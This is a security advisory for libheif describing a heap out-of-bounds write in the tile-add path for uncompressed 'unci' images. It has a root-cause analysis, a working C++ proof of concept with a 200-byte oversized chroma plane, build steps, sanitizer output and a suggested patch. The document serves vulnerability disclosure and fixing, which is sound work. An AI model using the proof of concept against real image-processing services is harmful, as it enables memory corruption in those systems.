GHSA-j264-xvrp-5v7q
CVE Information
Summary
heif_context_add_image_tile()accepts aheif_imagetile whose component planes are inconsistent with its own declared width/height (a combination producible entirely through the public API —heif_image_create()+heif_image_add_plane_safe()let a caller add a channel of any size, independent of the image's own reported dimensions), without validation. When the target is an ISO/IEC 23001-17 ('unci', uncompressed) tiled image, this routes intounc_encoder_component_interleave::encode_tile()(libheif/codecs/uncompressed/unc_encoder_component_interleave.cc:213), which sizes its output buffer from the tile's declared width/height butmemcpys each component plane using that plane's actual stored size — an attacker/caller-controlled heap out-of-bounds write.This is the same bug class the maintainers already fixed once (GHSA-xpw3-9rhw-482x / CVE-2026-62291, "Reject uncompressed encode of images with mismatched component plane sizes", commit
ac5521ad, 2026-06-25), via acheck_component_sizes()guard added tounc_encoder::encode(). That fix's own commit message states it "covers all uncompressed encoder variants" — butcheck_component_sizes()is never called from the tile-by-tile add path (ImageItem_uncompressed::add_image_tile(), libheif/image-items/unc_image.cc:312), which callsencode_tile()directly. The 2026-06-25 fix commit touches onlyunc_encoder.cc/unc_encoder.h;unc_image.ccis untouched. This is not a duplicate of CVE-2026-62291 — it is the same root cause reachable through a sibling, unpatched public entry point.Project / version: libheif HEAD (
1a3583bc, v1.23.1+7, 2026-07-10), built with-DWITH_UNCOMPRESSED_CODEC=ON(the experimental ISO 23001-17 codec; off by default).Affected API:
heif_context_add_image_tile()when the target handle is an 'unci' (uncompressed) tiled image (ImageItem_uncompressed::add_image_tile()).Root Cause
The protected path,
unc_encoder::encode(), validates before encoding (libheif/codecs/uncompressed/unc_encoder.cc:222-232):Result<Encoder::CodedImageData> unc_encoder::encode(const std::shared_ptr<const HeifPixelImage>& src_image, const heif_encoding_options& in_options) const { // The encoders size their output buffer from the primary image dimensions, but copy each // component plane using that plane's actual size. If a component plane is larger than the primary // image (e.g. an alpha plane that does not match the color planes), this writes out of bounds. // Reject any image whose component planes are inconsistent with the primary size. Chroma (Cb/Cr) // planes are legitimately subsampled, so they are checked against the subsampled size. if (Error err = check_component_sizes(src_image)) { return err; } ... Result<std::vector<uint8_t> > codedBitstreamResult = this->encode_tile(src_image);The tile-add path skips it entirely (libheif/image-items/unc_image.cc:312-334):
Error ImageItem_uncompressed::add_image_tile(uint32_t tile_x, uint32_t tile_y, const std::shared_ptr<const HeifPixelImage>& image, bool save_alpha) { std::shared_ptr<Box_uncC> uncC = get_property<Box_uncC>(); assert(uncC); uint32_t tile_width = image->get_width(); uint32_t tile_height = image->get_height(); ... // No check_component_sizes() call anywhere in this function. Result<std::vector<uint8_t>> codedBitstreamResult = m_unc_encoder->encode_tile(image);And the overflow itself (libheif/codecs/uncompressed/unc_encoder_component_interleave.cc:190-217):
std::vector<uint8_t> unc_encoder_component_interleave::encode_tile(const std::shared_ptr<const HeifPixelImage>& src_image) const { uint64_t total_size = compute_tile_data_size_bytes(src_image->get_width(), src_image->get_height()); std::vector<uint8_t> data; data.resize(total_size); // sized from the tile's DECLARED width/height uint64_t out_pos = 0; for (const auto& comp : m_components) { uint32_t plane_width = src_image->get_component_width(comp.component_id); // ACTUAL stored size uint32_t plane_height = src_image->get_component_height(comp.component_id); ... for (uint32_t y = 0; y < plane_height; y++) { memcpy(data.data() + out_pos, src_data + src_stride * y, plane_width * bytes_per_pixel); // <-- overflow when actual > declared out_pos += plane_width * bytes_per_pixel; }
compute_tile_data_size_bytes()allocates fromsrc_image->get_width()/get_height()(the tile's declared size). Thememcpyloop copies each component usingheif_image_get_component_width/height()— the plane's actual stored dimensions. Nothing requires these to agree: the public APIheif_image_add_plane_safe(image, channel, width, height, bit_depth, limits)lets a caller give any channel an arbitrary width/height, independent of theheif_image's ownget_width()/get_height().Because
m_unc_encoderis constructed once, from a small prototype image, atheif_context_add_empty_unci_image()time (the public header documents "The image size need not match this" for later tiles — tiling by design expects each tile to be its own differently-sizedheif_image), every subsequentheif_context_add_image_tile()call hands an independently-builtheif_imagestraight toencode_tile()with no re-validation.Call Chain
heif_context_add_image_tile() [heif_tiling.cc:270, PUBLIC API] -> ImageItem_uncompressed::add_image_tile() [unc_image.cc:312] <- check_component_sizes() MISSING -> unc_encoder->encode_tile(image) [unc_image.cc:334] -> unc_encoder_component_interleave::encode_tile() [unc_encoder_component_interleave.cc:190] -> memcpy(...) [unc_encoder_component_interleave.cc:213] <- CRASHPoC
poc_tile_component_overflow.cc:#include <libheif/heif.h> #include <libheif/heif_tiling.h> #include <libheif/heif_uncompressed.h> #include <libheif/heif_encoding.h> #include <cstdio> #include <cstring> static heif_image* make_image(int w, int h, int cb_w, int cb_h, int cr_w, int cr_h) { heif_image* img = nullptr; heif_image_create(w, h, heif_colorspace_YCbCr, heif_chroma_420, &img); heif_image_add_plane_safe(img, heif_channel_Y, w, h, 8, nullptr); heif_image_add_plane_safe(img, heif_channel_Cb, cb_w, cb_h, 8, nullptr); heif_image_add_plane_safe(img, heif_channel_Cr, cr_w, cr_h, 8, nullptr); return img; } int main() { // --- 1. small valid prototype: 4x4 YCbCr 420 (Cb/Cr correctly 2x2) heif_image* prototype = make_image(4, 4, 2, 2, 2, 2); heif_context* ctx = heif_context_alloc(); heif_unci_image_parameters* params = heif_unci_image_parameters_alloc(); params->image_width = 8; params->image_height = 8; params->tile_width = 4; params->tile_height = 4; params->compression = heif_unci_compression_off; heif_image_handle* unci_handle = nullptr; heif_error err = heif_context_add_empty_unci_image(ctx, params, nullptr, prototype, &unci_handle); printf("add_empty_unci_image: code=%d msg=%s\n", err.code, err.message ? err.message : "ok"); if (err.code) return 1; // --- 2. malicious tile: declares 4x4 (matches the tile grid) but its Cb // plane is actually allocated 200x200 -- far bigger than the 2x2 // chroma-subsampled size compute_tile_data_size_bytes() will size // the output buffer for. heif_image* evil_tile = make_image(4, 4, /*cb*/ 200, 200, /*cr*/ 2, 2); size_t cb_stride = 0; uint8_t* cb = heif_image_get_plane2(evil_tile, heif_channel_Cb, &cb_stride); for (int y = 0; y < 200; y++) { memset(cb + y * cb_stride, 0x41, 200); } heif_encoder* encoder = nullptr; heif_error encErr = heif_context_get_encoder_for_format(ctx, heif_compression_HEVC, &encoder); printf("get_encoder: code=%d (unci path ignores this encoder, but the API requires non-null)\n", encErr.code); printf("calling heif_context_add_image_tile with oversized Cb plane...\n"); fflush(stdout); heif_error err2 = heif_context_add_image_tile(ctx, unci_handle, 0, 0, evil_tile, encoder); printf("add_image_tile: code=%d msg=%s\n", err2.code, err2.message ? err2.message : "ok"); return 0; }Reproduction
The crash is reachable through the documented public C API only —
heif_context_alloc→heif_context_add_empty_unci_image→heif_context_add_image_tile. No malformed file bytes are involved; the inconsistentheif_imageis built purely with public API calls.Build (library configured with the experimental uncompressed codec enabled and ASan/UBSan instrumentation):
cmake -DWITH_UNCOMPRESSED_CODEC=ON -DBUILD_TESTING=OFF -DCMAKE_BUILD_TYPE=Debug \ -DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ \ -DCMAKE_C_FLAGS="-fsanitize=address,undefined" \ -DCMAKE_CXX_FLAGS="-fsanitize=address,undefined" \ -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined" \ -DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address,undefined" .. cmake --build . -j clang++ -std=c++17 -fsanitize=address,undefined -g -O0 \ -I. -I../libheif -I../libheif/api -I../include/libheif -I../include \ poc_tile_component_overflow.cc \ -L libheif -lheif -Wl,-rpath,@executable_path/libheif \ -o poc_tile_overflow DYLD_LIBRARY_PATH=libheif ASAN_OPTIONS=detect_leaks=0 ./poc_tile_overflowObserved output (reproduced twice, independent processes, deterministic):
add_empty_unci_image: code=0 msg=Success get_encoder: code=0 (unci path ignores this encoder, but the API requires non-null) calling heif_context_add_image_tile with oversized Cb plane... ================================================================= ==PID==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x603000002e78 at pc ... bp ... sp ... WRITE of size 200 at 0x603000002e78 thread T0 #0 __asan_memcpy #1 unc_encoder_component_interleave::encode_tile(std::__1::shared_ptr<HeifPixelImage const> const&) const unc_encoder_component_interleave.cc:213 #2 ImageItem_uncompressed::add_image_tile(unsigned int, unsigned int, std::__1::shared_ptr<HeifPixelImage const> const&, bool) unc_image.cc:334 #3 heif_context_add_image_tile heif_tiling.cc:286 #4 main poc_tile_component_overflow.cc:70 0x603000002e78 is located 0 bytes after 24-byte region [0x603000002e60,0x603000002e78) allocated by thread T0 here: #0 operator new #1 std::vector<unsigned char>::resize(unsigned long) #2 unc_encoder_component_interleave::encode_tile(...) unc_encoder_component_interleave.cc:194 #3 ImageItem_uncompressed::add_image_tile(...) unc_image.cc:334 #4 heif_context_add_image_tile heif_tiling.cc:286 #5 main poc_tile_component_overflow.cc:70 SUMMARY: AddressSanitizer: heap-buffer-overflow unc_encoder_component_interleave.cc:213 in unc_encoder_component_interleave::encode_tile(std::__1::shared_ptr<HeifPixelImage const> const&) constThe 24-byte destination allocation is exactly
compute_tile_data_size_bytes(4,4)for this configuration (Y: 4×4=16 bytes + Cb: 2×2=4 bytes + Cr: 2×2=4 bytes = 24 bytes). The write is 200 bytes — the actual width of the oversized Cb plane — landing 0 bytes past the end of that allocation and continuing for the full row.Scope Note
WITH_UNCOMPRESSED_CODECis off by default and marked experimental, which limits the general attack surface. The threat model here is not "parse an arbitrary downloaded file" but an application that assembles 'unci' tile images from partially-untrusted per-tile sources (e.g. a server-side image-processing pipeline accepting tile content from a plugin, upstream service, or user-supplied component data) and forwards it toheif_context_add_image_tile()without its own size validation.Because the root cause is in
add_image_tile()itself, all fourunc_encodervariants selected byunc_encoder_factory::get_unc_encoder()(unc_encoder_component_interleave,unc_encoder_rgb_pixel_interleave,unc_encoder_rgb_block_pixel_interleave,unc_encoder_rgb_bytealign_pixel_interleave) are reachable through the same unguarded path; only thecomponent_interleavevariant was used for this PoC, but the missing guard is common to all of them.Suggested Fix
Call the existing
check_component_sizes()validation fromImageItem_uncompressed::add_image_tile()beforeencode_tile(), the same wayunc_encoder::encode()already does:--- a/libheif/image-items/unc_image.cc +++ b/libheif/image-items/unc_image.cc @@ Error ImageItem_uncompressed::add_image_tile(uint32_t tile_x, uint32_t tile_y, if (image->has_alpha() && !save_alpha) { // TODO: drop alpha } + if (Error err = m_unc_encoder->check_component_sizes(image)) { + return err; + } + Result<std::vector<uint8_t>> codedBitstreamResult = m_unc_encoder->encode_tile(image);
check_component_sizes()is currently a private/internal member ofunc_encoder(only called fromunc_encoder::encode()); it needs to be made public (or a thin public wrapper added) foradd_image_tile()to call it.Duplicate Check
- GHSA-xpw3-9rhw-482x / CVE-2026-62291 covers the same bug class (component-plane-size mismatch → uncompressed encoder heap overflow) but only for
unc_encoder::encode()(the single-image path reached throughheif_context_encode_image()).- The fix commit (
ac5521ad) modifies onlyunc_encoder.ccandunc_encoder.h;unc_image.cc/add_image_tile()is untouched (verified viagit show --stat ac5521ad).- Not a duplicate: same root cause, different, unpatched public entry point.
Severity
Heap out-of-bounds write with an attacker/caller-controlled length and content (CWE-787), as opposed to a read-only or abort-only defect. Proposed CVSS, modeled on CVE-2026-62291 (which this is a variant of) but reflecting that reaching it requires the calling application to construct an internally-inconsistent tile image via the public API rather than parsing arbitrary file bytes directly:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H(High) — final scoring left to the maintainers, since exploitability depends on how a given embedding application sources its tile image data.CWE-787 (Out-of-bounds Write)
Credit
Found via manual source review + real reproduction against libheif HEAD by Burak Sakizci.